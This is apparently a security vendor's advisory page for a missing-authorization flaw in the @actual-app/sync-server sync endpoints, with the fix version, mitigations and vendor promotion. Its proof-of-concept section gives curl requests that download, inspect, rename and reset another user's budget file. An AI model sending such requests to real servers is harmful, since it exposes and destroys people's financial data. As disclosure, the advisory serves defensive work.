How severe is GHSA-qmjj-p7m9-wjrv?

No CVSS score has been assigned to GHSA-qmjj-p7m9-wjrv yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-qmjj-p7m9-wjrv?

GHSA-qmjj-p7m9-wjrv affects the following packages: @actual-app/sync-server (npm). Ecosystems affected: npm.

How do I fix GHSA-qmjj-p7m9-wjrv?

Update @actual-app/sync-server to 26.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qmjj-p7m9-wjrv is resolved across your whole dependency graph.

How do I detect GHSA-qmjj-p7m9-wjrv in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @actual-app/sync-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-qmjj-p7m9-wjrv if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-qmjj-p7m9-wjrv?

O3 pinpoints whether GHSA-qmjj-p7m9-wjrv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-qmjj-p7m9-wjrv actively exploited in the wild?

No public exploit code has been indexed for GHSA-qmjj-p7m9-wjrv yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-qmjj-p7m9-wjrv?

GHSA-qmjj-p7m9-wjrv has an EPSS (Exploit Prediction Scoring System) score of 0.3%, placing it in the 21th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-qmjj-p7m9-wjrv?

GHSA-qmjj-p7m9-wjrv is classified as CWE-862 (CWE-862). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-qmjj-p7m9-wjrv published, and has it been updated?

GHSA-qmjj-p7m9-wjrv was published on February 27, 2026 and was last updated on February 28, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

GHSA-qmjj-p7m9-wjrv

@actual-app/sync-server: Missing authorization in sync endpoints allows cross-user budget file access in multi-user mode

Also known asCVE-2026-27638

Published

Feb 27, 2026

Updated

Feb 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.3%probability of exploitation in next 30 days

Lower Risk21th percentile+0.26%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

📦@actual-app/sync-server

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

In multi-user mode (OpenID), the sync API endpoints (/sync/*) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID.

Affected Code

File: packages/sync-server/src/app-sync.ts

The validateSessionMiddleware on line 31 confirms the user is authenticated, but individual endpoints only check that the file exists (via verifyFileExists), never that the requesting user owns or has access to the file.

Compare with POST /sync/delete-user-file (lines 394-430) which correctly checks:

const isOwner = file.owner === userId;
const isServerAdmin = isAdmin(userId);
if (!isOwner && !isServerAdmin) { ... }

This check is missing from all other endpoints.

Affected Endpoints

GET /sync/download-user-file - download any budget file
POST /sync/upload-user-file - overwrite any budget file
POST /sync/sync - read/write sync messages of any file
POST /sync/user-get-key - read encryption key info
POST /sync/user-create-key - change encryption key
POST /sync/reset-user-file - reset sync state
POST /sync/update-user-filename - rename file
GET /sync/get-user-file-info - read file metadata

PoC

Setup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId abc-123.

Bob downloads Alice's budget:

curl -X GET 'https://actual.example.com/sync/download-user-file' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'X-Actual-File-Id: abc-123' \
  -o stolen-budget.blob

Bob reads Alice's file metadata:

curl -X GET 'https://actual.example.com/sync/get-user-file-info' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'X-Actual-File-Id: abc-123'

Bob renames Alice's budget:

curl -X POST 'https://actual.example.com/sync/update-user-filename' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"fileId": "abc-123", "name": "pwned"}'

Bob resets Alice's sync state (destructive):

curl -X POST 'https://actual.example.com/sync/reset-user-file' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"fileId": "abc-123"}'

File IDs can be discovered by admin users via GET /sync/list-user-files (admins see all files), through user_access sharing, or by guessing.

Impact

In multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`@actual-app/sync-server`	all versions	26.2.1

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @actual-app/sync-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @actual-app/sync-server to 26.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qmjj-p7m9-wjrv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qmjj-p7m9-wjrv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-qmjj-p7m9-wjrv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

In multi-user mode (OpenID), the sync API endpoints (`/sync/*`) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID. ## Affected Code File: `packages/sync-server/src/app-sync.ts` The `validateSessionMiddleware` on line 31 confirms the user is authenticated, but individual endpoints only check that the file *exists* (via `verifyFileExists`), never that the requesting user *owns* or *has access to* the file. Compare with `POST /sync/delete-use

O3 Security · Impact-Aware SCA

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